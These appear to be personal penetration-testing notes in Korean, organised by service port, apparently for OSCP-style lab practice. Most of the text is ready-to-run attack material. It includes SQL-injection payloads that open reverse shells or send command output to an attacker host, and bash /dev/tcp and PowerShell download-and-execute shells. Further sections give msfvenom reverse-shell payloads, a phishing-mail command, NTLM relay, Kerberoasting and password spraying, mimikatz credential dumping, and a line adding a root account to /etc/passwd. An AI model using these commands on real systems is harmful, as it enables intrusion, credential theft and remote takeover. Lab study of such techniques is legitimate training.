Port Scan

# basic
sudo nmap -sC -sV -Pn ip -oN ip

# all port 
sudo nmap -sC -sV -Pn -p- ip -oN ip_allport

# udp
sudo nmap -sC -sV -U -Pn ip -oN ip_udp

# nse scan
sudo nmap --script-updatedb
sudo nmap -sC -sV -Pn --script script -p port ip

# In Window
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("ip", $_)) "TCP port $_ is open"} 2>$null

21 FTP

# anonymous:anonymous & ftp:ftp
ftp anonymous@ip

# 파일 디렉토리 탐색 
pwd # 현재 작업 디렉토리 표시 
cd <dir_name> # 특정 디렉토리 이동 
ls # 현재 디렉토리 파일 및 폴더 목록 표시 (dir도 가능) 

# 파일 전송 
get <file_name> # 로컬에 파일 다운로드 
mget <file1 file2 ..> # 로컬에 다수 파일 다운로드 
put <file_name> # 서버에 파일 업로드 
mput <file1 file2 ...> # 서버에 다수 파일 업로드 

# 파일 조작 
delete  

22 SSH

# Version Vuln Scan
# login
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" User@IP
ssh user@ip

# id_rsa login
chmod 600 id_rsa 
ssh -i id_rsa user@ip

# proxychain
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

# scp
## local -> remote
scp [파일명1] [파일명2] [원격지_id]@[원격지_ip]:[받는 위치]
scp -r [디렉터리 이름] [원격지_id]@[원격지_ip]:[보낼 경로]

## remote -> local
scp [원격지_id]@[원격지_ip]:[원본 위치 파일][원본 위치 파일] [받는 위치]
scp -r [원격지_id]@[원격지_ip]:[디렉터리 위치] [받을 경로]

25, 465, 587, 2525 SMTP

# user 확인
nc -nv <ip> 25

# in Window
Test-NetConnection -Port 25 <ip>

# telnet : admin 권한 필요
dism /online /Enable-Feature /FeatureName:TelnetClient
telnet <IP> 25

# pishing mail
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.111.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

53 DNS

# IP 찾기
host <domain>

# A레코드 검색
host -t mx <domain>
nslookup mail.megacorptwo.com # in Window

# TXT레코드 검색
host -t txt <domain>
nslookup -type=TXT <domain> <DNS_IP> # in Window

# subdomain 검색 : /usr/share/seclists 
# 없을경우 sudo apt install seclists
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 000.000.000.$ip; done | grep -v "not found"

# dnsrecon / options : std, brt
dnsrecon -d <domain> -t <options> -D <wordlist>

80, 443 HTTP

Basic

# 호스트 등록
echo "ip domain" | sudo tee -a /etc/hosts

# 무슨 web 인지 찾기 
whatweb http://192.168.50.244

# 웹쉘 위치
/usr/share/webshells/

# 공격 코드 한줄요약
https://jscompress.com/

Gobuster

# /usr/share/wordlists/dirb, SecLists, dirbuster
# pattern 양식 : {GOBUSTER}/v1
gobuster dir -u <ip> -w <word_list> -p <pattern> -b 301 --timeout 20s

# domain 등록 : 웬만해서는 하고 하자 subdomain 찾기용
echo "ip domain" | sudo tee -a /etc/hosts

# subdomain 찾기
gobuster vhost -u https://mysite.com -w subdomain.txt --append-domain

wpscan

# wordpress일 경우
# 그 후 나온 plugin cve 서칭
wpscan --url <url> --enumerate ap,u,t --plugins-detection aggressive -o <fileName>

# wp plugin
https://jckhmr.net/create-a-wordpress-webshell-plugin/
wp-contents/plugins/<zip파일명>/<php파일명>

Spring (White Label ErrorPage)

# /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt 로 스캔 돌리자

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt:FUZZ -u http://cozyhosting.htb/FUZZ -ic -t 100

SQL Injection

## postgre
### rce
';+CREATE+TABLE+shell(output+text);COPY+shell+FROM+PROGRAM+'rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.45.222+9999+>/tmp/f';--

## MS-SQL
### xp_cmdshell 활성화
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
### rce
;EXEC xp_cmdshell 'powershell -c "$x = whoami; curl http://my-kali?output=$x"';--

## MySql
### rce
' UNION SELECT 1,2,3,4,"<?php system($_GET['cmd']); ?>",6 INTO DUMPFILE '/var/www/html/shell.php' #

Command Injection

# LFI & Linux Command Injection
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<kali_ip>%2F<port>%200%3E%261%22
bash -c "bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1"

echo -n '<?php echo system($_GET["cmd"]);?>' | base64
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

php://filter/convert.base64-encode/resource=admin.php
echo "base64" | base64 -d

# Window 일때, cmd, PowerShell 구분 / PetSerAl 검색
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

# ps1 다운 후 실행
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.000.000/powercat.ps1");powercat -c 192.168.000.000 -p 4444 -e powershell

Directory Traversal

# bypass
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

# linux file
/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf

# window file
c:/Windows/win.ini
c:/windows/system32/license.rtf
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/windows/repair/sam
c:/windows/repair/system

Payload Encoding

// encoding error 방지용 hex 전환
// eval(String.fromCharCode(hexs))
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

88 Kerberos

Roasting

# AS-REP
## username 사용자에 대해서 AS-REQ 날리기 [No Auth]
impacket-GetNPUsers domain.com/ -dc-ip 10.129.246.172 -usersfile username

## Kerberos의 사전 인증을 비활성하여 모든 AD 사용자에 대해서 AS-REQ를 날리기 [Auth]
impacket-GetNPUsers -dc-ip <ip>  -request -outputfile hashes.asreproast corp.com/pete

## Rubeus.exe 이용
.\Rubeus.exe asreproast /nowrap

# Kerber
## kali
sudo impacket-GetUserSPNs -request -dc-ip <ip> corp.com/pete
sudo impacket-GetUserSPNs active.htb/SVC_TGS -dc-ip <ip>

## Rubeus.exe 이용
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Kerbrute

# download
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_386
chmod u+x kerbrute_linux_386
mv kerbrute_linux_386 /usr/bin/kerbrute

# 계정 목록 파일을 이용해 해당 계정이 있는지 확인
kerbrute --dc 10.10.11.129 userenum -d search.htb userlists.txt

# 패스워드 스프레이 공격(PW: IsolationIsKey?)
kerbrute passwordspray --dc 10.10.11.129 -d search.htb validusers.txt 'IsolationIsKey?'

161 SNMP

MIB  
1.3.6.1.2.1.25.1.6.0 시스템 프로세스
1.3.6.1.2.1.25.4.2.1.2 프로그램 실행
1.3.6.1.2.1.25.4.2.1.4 프로세스 경로
1.3.6.1.2.1.25.2.3.1.4 보관 유닛
1.3.6.1.2.1.25.6.3.1.2 소프트웨어 이름
1.3.6.1.4.1.77.1.2.25 사용자 계정
1.3.6.1.2.1.6.13.1.3 TCP 로컬 포트
# list 구성
echo "public\nprivate\nmanager" > community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips

# onesixtyone
onesixtyone -c community -i ips

# snmpwalk
snmpwalk -c public -v1 -t 10 <IP> <MIB_Num>

# External node find
snmpwalk -v2c -c public <RHOST> nsExtendObjects snmpwalk -v2c -c public <RHOST> NET-SNMP-EXTEND-MIB::nsExtendObjects

389 LDAP

# username으로 Ldapsearch 
ldapsearch -x -H ldap://10.129.192.253 -b 'DC=cascade,DC=local' -D '' -w '' | grep -i r.thompson ldapsearch -x sAMAccountName=r.thompson -H ldap://10.129.192.253 -b 'DC=cascade,DC=local' -D '' -w ''

445 SMB

# 디스크 확인
smbclient //<ip>/<Folder 명>
net view \\<AD_domain> /all # in Window

# NTML hash 사용
smbclient \\\\192.168.50.212\\secrets -U <user> --pw-nt-hash <hash>

# 공유 폴더 확인
crackmapexec smb 10.129.157.36 -u '' -p '' --shares
crackmapexec smb 10.129.157.36 -u '' -p '' --users
crackmapexec smb 10.129.157.36 -u '' -p '' --rid-brute

# 재귀로 검색
crackmapexec smb 10.129.157.36 -u '' -p '' --spider <폴더명> --regex .

# 파일 얻기
get file.ext

# writable 확인
## mount
mount -t cifs -o rw,username=guest,password= '//<ip>/<폴더명>' /mnt
## writable.sh
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
	touch $d/x 2>/dev/null
	if [ $? -eq 0 ]
	then
		echo $d " is writable"
	fi
done
## scf attack
### hash.scf
[Shell] Command=2
IconFile=\\<kali_ip>\share\pwn.ico 
[Taskbar] 
Command=ToggleDesktop

1433 MSSQL

# mssql 접근 
impacket-mssqlclient domain/user@ip
impacket-mssqlclient domain/user@ip -windows-auth

# DB 조사 
SELECT name FROM sys.databases 

# 테이블 조사 
use database SELECT * FROM INFORMATION_SCHEMA.TABLES 

# 컬럼 조사 
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Table Name' 

# 데이터 얻기  
SELECT UserName, Email, Password FROM Table_Name

3306 MYSQL

3389 RDP

# xfreerdp
xfreerdp /drive:test,/home/kali/offsec /u:user /p:password /v:ip 

# Remote Desktop Users 또는 Remote Management Users 권한 없는 유저 접근 법 
runas /user:user cmd 
runas /user:domain\user cmd

5985, 5986 WINRM

# Password login
evil-winrm -i ip -u user -p password

# NTLM login
evil-winrm -i ip -u user -H hash

# key login : Sizzle 참고
evil-winrm -S -i ip -u user -p password -c certnew.cer -k private.key

Password Attacks

Basic

# 사용할 워드리스트 위치 :  /usr/share/wordlists/
# hash 종류 파악 : hash-identifier / https://md5hashing.net/hash_type_checker
# 각종 rule 위치 : /usr/share/hashcat/rules/

# 특정 앞자리 제거
sed -i '/^1/d' password.txt

# 규칙들 (한줄로 작성 시 한번에 적용 / 여러줄로 작성 시 각각 적용)
$1 -> 뒤에 1 추가 / c -> 앞문자 대문자로

# 규칙 생성 및 적용
echo \$1 > password.rule
hashcat -r demo.rule --stdout password.txt

# base64 
echo -n "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 -d 
# xxd 
echo -n "6d2424716c5f53405f504073735730726421" | xxd -r -p

hydra

# user명 알때
hydra -l <user> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<ip>

# password 알때
hydra -L /usr/share/wordlists/dirb/others/names.txt -p <password> rdp://<ip>

# HTTP Post
hydra -L <users_file> -P <password_file> <url> http[s]-[post|get]-form \
"index.php:param1=value1&param2=value2&user=^USER^&pwd=^PASS^&paramn=valn:[F|S]=message"
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.000.000 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

# 입력창 뜰 때, A 는 Authorization NTLM 는 Bearer 같은 거
hydra -l sizzler -P /usr/share/wordlists/rockyou.txt 10.129.166.251 http-get '/certsrv:A=NTLM:F=401'

hashcat

# mode 검색
hashcat --help | grep -i <hash종류>
hashcat -m <mode> <hash값 담긴 파일> <wordlist> -r <rule>.rule

# KeePass
# Database: 지워야함
keepass2john Database.kdbx > keepass.hash 

john

# hashcat을 쓸 경우, \~~2john 파일로 생성된 해시는 앞부분에 파일의 원래 이름이 붙는다. 해당 내용을 지워주고 진행하면 된다.
# rule 양식
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

# rule 변환
sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'

# zip 파일
zip2john [압축파일] > zip.hash

# ssh 파일
ssh2john id_ecdsa > pass
ssh2john id_rsa > ssh.hash

# kdbx 파일
keepass2john Database.kdbx > key.hash

# 사용
john --wordlist=<wordlist> --rules=sshRules ssh.hash

NTLM

# NTLM hash Relay
impacket-psexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>
impacket-psexec -hashes :<NTLM hash> <user>@<IP>
impacket-wmiexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>

# NTLMv2 hash 얻기
sudo responder -I tap0 # in Kali
dir \\<kali_ip>\test # in Window

impacket-secretsdump domain/user@ip -just-dc-user Administrator

# capture reset
rm /usr/share/responder/Responder.db

# NTLMv2 Relay / one-liner
# Server1 -> kali_SMB server -> Server2 Relay
impacket-ntlmrelayx --no-http-server -smb2support -t <Server2_IP> -c "powershell -enc JABjAGwAaQBlAG4AdA..." # in Kali
dir \\<kali_ip>\test # in Server1 reverse Shell

GPP

python3 gpp-decrypt.py -f Groups.xml
python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Windows [AD포함]

Info

# import module
powershell -ep bypass

# Auto
.\winPEAS.exe

# 계정 권한 조회
whoami /all

# domain 정보 획득
impacket-GetADUsers -all active.htb/SVC_TGS -dc-ip 10.10.10.100

# domain 사용자 출력
net user /domain
net user <username> /domain

# domain group 출력
net group /domain
net group <groupname> /domain

# history 조회
Get-History
(Get-PSReadlineOption).HistorySavePath

# 스케쥴러 확인
schtasks /query /fo LIST /v

PowerView.ps1

Import-Module .\PowerView.ps1

# 오류 메시지 받기
-Verbose

# 도메인
Get-NetDomain

# 유저
Get-NetUser | select <속성>

# 그룹
Get-NetGroup <그룹> | select <속성>

# 도메인 컨트롤러 정보 확인
Get-NetDomainController

# 도메인 정책 확인
Get-DomainPolicy

# 시스템 권한 확인
(Get-DomainPolicy)."system access"

# 컴퓨터 열거
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

# 해당 유저의 관리자 권한 컴퓨터 찾기
Find-LocalAdminAccess

# 세션 찾기 권한 확인 및 찾기
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetSession -ComputerName <컴퓨터이름>

## 권한이 없을 경우 + Remote Registry 켜져있을 때 사용
.\PsLoggedon.exe \\<컴퓨터이름> 

# 계정에 연결된 SPN 확인
setspn -L <계정명>
Get-NetUser -SPN | select samaccountname,serviceprincipalname

# 유저 권한 확인
Get-ObjectAcl -Identity <계정명>
Find-InterestingDomainAcl

# stephanie가 가지고 있는 권한들 검색
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "stephanie"} | select ObjectDN,ActiveDirectoryRights

# SID 변환
Convert-SidToName <SID>
<SID1>,<SID2> | Convert-SidToName

# GenericAll 권한인 유저들 출력
Get-ObjectAcl -Identity <그룹> | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

# 도메인 공유 출력 및 폴더 조사
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\

PowerUP.ps1

Import-Module PowerUp.ps1
Invoke-AllChecks

Sherlock

# https://github.com/rasta-mouse/Sherlock
import-module .\sherlock.ps1
find-allvulns

BloodHound

# SharpHound로 분석할 데이터 만들기
# 사용법
Import-Module Sharphound.ps1
Get-Help Invoke-BloodHound

# 전체 조사
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\<경로> -OutputPrefix <zip파일 접두사>

# BloodHound 환경설정
# default account - neo4j:neo4j
sudo apt install bloodhound
sudo neo4j start
bloodhound

# Generic All Force Change Password
https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword

# Query
# 모든 유저, 컴퓨터 표시
MATCH (m:Computer) RETURN m
MATCH (m:User) RETURN m

# 활성 세션 표시
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p

Spray-Password.ps1

.\Spray-Passwords.ps1 -Pass Nexus123! -Admin

.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

mimikatz

privilege::debug

# SAM 데이터베이스 덤프
lsadump::sam 

# LSA 비밀 덤프
lsadump::secrets

# 도메인 컨트롤러에서 사용자 자격 증명 동기화
lsadump::dcsync /user:<사용자명>

# hash
sekurlsa::logonpasswords

# ticket
ls \\web04.corp.com\backup
sekurlsa::tickets

# Pass The Hash 공격 수행
sekurlsa::pth /user:<사용자명> /domain:<도메인명> /ntlm:<NTLM해시> /run:<명령어>

# Windows 자격 증명 관리자에서 자격 증명 덤프
vault::cred

# EPAPI 마스터 키 덤프 및 복호화
dpapi::masterkey

# 시스템의 모든 토큰 나열
token::list

# 특정 토큰으로 권한 상승
token::elevate

Linux

Info

# auto : /usr/bin/unix-privesc-check, /usr/share/peass/linpeas/linpeas.sh
./unix-privesc-check standard > output.txt
./linpeas.sh

# os
cat /etc/os-release
uname -a
lscpu

# process
ps aux
ps aux | grep root
watch -n 1 "ps -aux | grep pass"

# kernel
cat /etc/issue
uname -r
arch
gcc cve-2017-16995.c -o cve-2017-16995

# AppArmor 여부
aa-status

# shell 종류 파악 - Tmux, Screen 활용
cat /etc/shells

# DNS host 파악
cat /etc/resolv.conf
cat /etc/hosts

# shellshock exploit에 취약
grep "*sh$" /etc/passwd

# tcp log
sudo tcpdump -i lo -A | grep "pass"

# network
routel
netstat -anp
cat /etc/iptables/rules.v4

#cron
ls -lah /etc/cron*
sudo crontab -l
grep "CRON" /var/log/syslog , cron.log , ...
# 1000ms 마다 스캔하여 cron 확인
./pspy64 -pf -i 1000

# installed 
dpkg -l
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

# writable
find / -writable -type d/f 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# 숨겨진 파일 폴더 파악
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <username>
find / -type d -name ".*" -ls 2>/dev/null

# 구성 파일
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

# 스크립트
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"

# 히스토리
history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

# 임시파일
ls -l /tmp /var/tmp /dev/shm

# mount drive
cat /etc/fstab
mount
lsblk

# module info
lsmod
/sbin/modinfo <module>

# find suid
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

# Privilege Group
find / -group adm -exec ls -ldb {} \; 2>/dev/null

# get env
echo $SHELL
echo $PATH
env
cat .bashrc

# check sudo auth
sudo -l
sudo -i
sudo -V

# sudo user 파악
getent group sudo
## sudo -l에서 나온 파일이 sudo로 안될때
sudo -u root <vuln_file>

# 바이너리 : GTFObins 활용
ls -l /bin /usr/bin/ /usr/sbin/
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

Escaping Restricted Shells

# 사용 가능한 명령어 보기
compgen -c 

# ls, ls -l, ls -a 등을 인수에 추가해 셸 탈출이 가능하다.
ls -l 'pwd'

그 외 Command Substitution, Command Chaining, Environment Variables, Shell Functions 등을 통해 탈출할 수 있다.

Abuse

# Path Abuse
echo $PATH
pwd && conncheck

PATH=.:${PATH}
export PATH

touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls

# Other Abuse
## set password
openssl passwd password
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

# About setuid Abuse : https://gtfobins.github.io/

Tunneling

ligolo

SSH

# local / server1 - server2 - server3
ssh -N -L 0.0.0.0:4455:<server3_IP>:445 database_admin@<server2_IP>

# dynamic / server1 - server2 - server3
ssh -N -D 0.0.0.0:9999 database_admin@<server2_IP>
	# in kali
	vi /etc/proxychains4.conf
	socks5 <server1_IP> 9999

# remote / server1 - server2 / inbound가 막혀있을 때 주로 사용
ssh -N -R 127.0.0.1:2345:<server2_IP>:5432 kali@<mykali_ip>

# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>
	# in kali
	vi /etc/proxychains4.conf
	socks5 127.0.0.1 9998

##in Window
# start
sudo systemctl start ssh

# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>

Other Tunneling

# in Linux
## sshuttle
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

## socat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

# in Window
## plink
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 <mykali_ip>

## netsh / server1 - server2
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=<server1_port> listenaddress=<server1_ip> connectport=<server2_port> connectaddress=<server2_ip>

## netsh로 방화벽 열기
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<server1_ip> localport=<server1_port> action=allow

## netsh로 방화벽 t삭제
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"

chisel

# 버전이 중요함 Go 1.19 - Chisel <= 1.81 / Go > 1.20 - Chisel > 1.81
# 만약 안붙으면 tcpdump 로 보기
# server start
chisel server --port 8080 --reverse

# client
/tmp/chisel client <kali_IP>:8080 R:socks > /dev/null 2>&1 &
chisel.exe client <kali_IP>:8080 R:80:172.16.6.241:80
chisel.exe client --fingerprint SgtWdmBCNIjgaX03e80+VTUNMpzdZVhM16I1G3dzQzI= 192.168.45.207:8080 R:80:172.16.193.241:80

# dynamic
chisel.exe client kali:8080 R:1080:socks

DNS

# dnscat2-server
dnscat2-server feline.corp
listen 127.0.0.1:4455 172.16.2.11:445

Git

# git dump 
git-dumper http://siteisup.htb/dev/.git dev

# .git 폴더 있는 곳에서
# 실행
gitleaks detect
git status

# 로그 보기
git log

# 깃 해시로 보기
git show <hash>

# git dump
pip install git-dumper
git-dumper http://victim_site/.git dev

Python

Jenkins

Metasploit

Searchsploit

# /usr/share/exploitdb
sudo apt update && sudo apt install exploitdb

# searchsploit
searchsploit <검색할 서비스>

# 파일 다운
searchsploit -m <숫자>

msfvenom

# payloads 리스트 출력
msfvenom -l payloads --platform windows --arch x64
msfvenom -f --list
msfvenom -p <> --list-options

# payload 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe

# web reverse shell
msfvenom -p php/reverse_php LHOST=192.168.45.241 LPORT=9999 -f raw -o php_reverse_9999.pHP
cat php_reverse_9999.pHP | pbcopy && echo '<?php ' | tr -d '\n' > php_reverse_9999.pHP && pbpaste >> php_reverse_9999.pHP

# shellcode 생성
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.222 LPORT=443 -f python -b "\x00\x20" -v shellcode

msfconsole

# 초기화 및 접속
sudo msfdb (re)init
sudo systemctl enable postgresql
sudo msfconsole -r <자동화 스크립트>

# 워크스페이스 생성
workspace -a pen200

# Nmap 사용
db_nmap <기존 Nmap 옵션>
hosts
services

# 보조모듈 나열 exploits, payloads, auxiliary 등등 있음
show -h

# 검색
search type:<보조모듈> <검색어>
search type:auxiliary ssh
search Apache 2.4.49

# payload 검색
show payloads
set payloads <번호>

# 사용 및 세팅
use <번호>
show options
set <option> <value> / unset <option>
services -p 445 --rhosts # db_name으로 정보가 있다면 사용 가능
run -j

# 공격 성공하여 얻은 정보/세션들
creds
sessions / sessions -i <번호>

# nc 안될 때, multi/handler 사용
use multi/handler
set payload <공격에 사용한 shell 이름>
set LHOST <kali_ip>
set LPORT <kali_port>

# route 관련
route add <subnet> <sessionId>
route add 172.16.1.0/24 12

route print
route flush

# auto
use multi/manage/autoroute
set session 1
run

# 포트포워딩
portfwd add -l 3389 -p 3389 -r 172.16.000.000

# auto :1080
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j

# session background
Ctrl+z 

meterpreter

# shell 얻기
shell

# 기존 명령어 사용
l<linux명령어> / lpwd / lcat ...

# 파일 관련
download <경로>
upload <칼리경로> <피해자경로>

# 유저 얻기
getuid

# 시스템 정보 얻기
sysinfo

# 권한상승 / SeImpersonatePrivilege 권한 필요
getsystem

# 프로세스 보기
ps

# 환경변수 보기
getenv <변수명>

# 리버스 쉘 .exe 프로세스를 특정 프로세스 하위로 마이그레이션
migrate <위장할PID>

# 프로세스 만들기
execute -H -f notepad

# background
bg

# kiwi 사용
load kiwi
lsa_dump_sam